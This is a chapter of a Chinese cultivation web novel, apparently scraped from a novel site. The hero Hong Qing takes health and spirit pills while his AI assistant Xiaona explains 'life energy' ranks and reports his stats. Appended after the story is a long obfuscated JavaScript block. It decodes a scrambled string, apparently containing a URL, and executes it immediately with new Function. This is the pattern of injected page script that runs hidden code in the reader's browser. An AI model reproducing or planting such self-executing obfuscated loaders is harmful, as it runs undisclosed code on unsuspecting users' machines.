(手机请访问 m.duxs8.com)洪青沉思不语，在细细回味着小娜所说的话，并将之归纳一遍，记在心里。
首先，就是什么是养生？养生就是通过睡眠、吐纳、丹食、引导术等，颐养生命，增强体质。
其次，是生命能。生命能是养生达到何种成就的指标！
生命能达12，养生初成，金石根基！
生命能16，超凡根基！
生命能24，传奇根基！
生命能36，史诗根基！
生命能49，神话根基！
“小娜，若我只吃丹药，生命能最多通达到多少？”洪青突然问小娜。
“那要看什么级别的丹药，”小娜道：“只是养生丹，不会超过12，更高级的也不会超过16。”
“我想要达24，36，49呢？”洪青有着野心。
“养生，有九字言：乏之息，缺之补，衰之炼。”
“怎么解释？”
“就是困了、累了、乏了、伤了……就得体息和疗养，缺了营养就要补充，身不强体不健就要修炼。所以，丹食只是一个方面，休息也很重要，再者就是修炼，需要吐纳法及引导术，只有做到完美的息、补、炼，再加上自身天赋潜能，生命能才有可能达超凡根基之上。”
洪青皱眉道：“完美的息、补、炼？一件事想要做到完美，何其艰难？”
小娜道：“主人不必担心，小娜是智能小助理，这里会计算出一个完美的方案！”
洪青道：“再完美的方案，高级养生丹、吐纳法及引导术，总是要需要吧？”
小娜道：“当然！这是武道修炼所必须要的资源，却需要主人自己去挣取！”
洪青苦笑道：“我现在的唯一途径就是在三千帝国网上买，可是9900多宇宙币够吗？看似有一亿元晶币，好像很多，不过我在网上看过吐纳法和引导术，稍微高级的，都贵的吓人，另外就是高级养生丹，也很贵，仅不到一亿元晶币，恐怕还支撑不起我的养生境！”
小娜毫无情绪道：“小娜无能为力，这些都只能靠主人去想办法！”
洪青无语，良久叹道：“果然是穷文富武！看来只有走一步算一步了！”
小娜道：“主人现在身体困乏，接下来应尽快服用养生丹和养神丹，赶紧体息。”
洪青点了点头，打开拓拔明月送来的装有养生丹的玉瓶，倒出一粒来，养生丹仅有蚕豆大小，呈油油的绿色，显现出磅礴的生命气息，同时散发出一种奇异的香味，洪青嗅上一口，便立刻就有一种浑身细胞都被激活的感觉。接着洪青毫不犹豫，将手中的丹药吃了下去。
下一刻！
“轰！”
洪青顿时就感觉到一股庞大的热量从胃里爆发，并逐渐扩散至四肢百骸，使得浑身都暖洋洋的，说不出的舒爽，同时这股热量又像温和的河流，一遍又一遍冲刷着自己体内的五脏六腑，使得整个身体渐若水晶，越来越通透明亮。
直到某一刻！
“咕噜噜！”
洪青突然感到肚子一阵刺痛，有一种马上就要憋不住的感觉，骤然从沉醉中醒来。
他一下从床上弹起，健步如飞，奔向厕所……
这一蹲就是半个小时，且拉出来的东西腥臭无比！
被限制在狭小空间里的洪青着实遭了罪，那难闻的气味使他连连作呕，上吐下泻。
不过，洪青强自忍着，他知道，那是体内后天衍生出的许许多多对生命有害的杂质在被清理！
终于，半个小时过后，洪青拖着发颤的双腿艰难地从厕所里走了出来。
他已经快虚脱了！
但是，此刻洪青的脸上却是洋溢着舒心到极点的笑容。
“这养生丹的药效，着实让人惊喜啊！”
自己的身体自己最清楚，虚脱，也仅仅是体内水份严重流失，除此之外，洪青感觉自己的状态前所未有过的好。以前，他的身体成天就像被一个大山压着，吃不下，睡不香，甚至连最简单的每一次呼吸，似乎都要花费一些力气，而现在，那种沉重负担一扫而空，他有一种被放飞般的轻松。
简单一番清洗，接着洪青又服下养神丹。
养神丹倒没有养生丹那么大反应，只感觉到一股不出的清凉从胃里曼延，直上升至大脑，使得脑子一下变得清了许多，仿佛转地更快了，倒不是说变得聪明，而是能更加专注一件事。
就比如说睡觉，以前通常会因为心事，辗转反侧睡不着，但是现在，不论自己有多清醒，只要想睡觉，就一定可以很快入睡，甚至能进入深度睡眠！
这是精神力强大了！
此时，洪青对小娜道：“小娜，再对我进行扫描看看！”
小娜很快地就反馈了洪青个人属性的数据化信息：
姓名：洪青（男）
年龄：24；
种族：人族，盘古系；
血脉：九品（进化级）；
修为：无；
生命能：9.7；
精神力：12.3。
洪青一看，顿时欣喜若狂，这其中，生命能从原来的7.9一下子爆涨到了9.7，增加了1.8，也就是寿命增加了18年！另外还有精神力，涨幅达到2.5，比生命能还多！
当然，洪青也明白，因为是第一次服用丹药，效果最明显，倘若往后再服用的话，涨幅就不会那么猛了，这不是1+1=2所能说得通的。
小娜接着又道：“生命能，在荒武星域其实还代表着除寿命外的一些参考意义，比如力量。正常情况下，一个生命能为12的人如果爆发出自身的全部潜力，换算成主人世界里的计量度，就是连续841拳的平均拳力约可达120公斤。当然，这也仅仅只作为一个参考。就像主人世界中一些拳击手，生命能没有12，然而841拳的平均拳力却远远不止120公斤，一方面，是他们专门针对力量进行训练，另一方面就是将生命能透支成力量了。”
洪青点头思索道：“就是说我现在连续841拳的平均拳力约可达97公斤？”
小娜道：“是的。最高拳力，约可以打出平均拳力的2.4倍。”
洪青恍然道：“难怪我感觉现在可以搬起院子里的大石磨，那个大石磨大概有300斤左右！”
他有些跃跃欲试。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();